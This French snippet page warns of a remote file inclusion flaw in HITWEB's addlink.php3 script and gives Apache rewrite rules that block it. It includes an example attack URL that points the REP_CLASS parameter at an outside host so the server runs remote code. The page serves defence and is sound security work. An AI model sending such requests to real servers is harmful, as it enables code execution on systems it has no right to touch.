
Inclusion de fichiers distants avec un script de HITWEB
Information sur le code source
Enregistré le 31 Mai 2008 - Vu 4135 fois
 | Votre avis: |
|
| |
[66] sources en Apache voir
|
Description du code source
Informations sur le code source
Il est possible dans certains cas de faire exécuter du
code malveillant avec le script addlink.php3 et un paramètre REP_CLASS. En effet si le paramètre register_globals est à on, la variable $REP_CLASS est initialisée avec le paramètre GET. Comme cette variable sert de préfixe au chemin des includes du script addlink.php3 il est facile d'exécuter un script externe sur votre serveur (remote file include). Les urls sont du type http://www.example.com//addlink.php3?REP_CLASS=http://www.sitepourri.com/page??
Ces deux lignes vous protègent de cette attaque.
Voir également :
»
Page d'erreur 403 personnalisée
La meilleur protection reste de mettre register globals à off.
Code Source
.01
.02
.03
.04
.05
.06
.07
.08
.09
.10
.11
.12
.13
.14
.15
.16
.17
.18
.19
.20
.21
.22
.23
|
|
################################################################################
# #
# __ _ __ _ #
# __ ______/ /______ _ ______(_) /_(_)__ ___ _ #
# / // / __/ / __/ -_) |/|/ / __/ / __/ / _ \/ _ `/ #
# \_,_/_/ /_/_/ \__/|__,__/_/ /_/\__/_/_//_/\_, / #
# /___/ #
# #
# #
################################################################################
# #
# Titre : Inclusion de fichiers distants avec un script de HITWEB #
# #
# URL : /scripts41-Apache.htm #
# Auteur : admin #
# Date édition : 31 Mai 2008 #
# #
################################################################################
RewriteCond %{QUERY_STRING} ^(.*&)?REP_CLASS=http://
RewriteRule ^(.+/)?addlink.php3 - [F,L]
|
Librairie
Langages de programmation
La librairie est ouverte à tous et elle est accès principalement sur les langages Snippets.
Vous trouverez aussi d'autres langages de programmation tel que le CSS, HTML, AJAX, ASP..
Plus de 300 références facilement accessibles. Visiter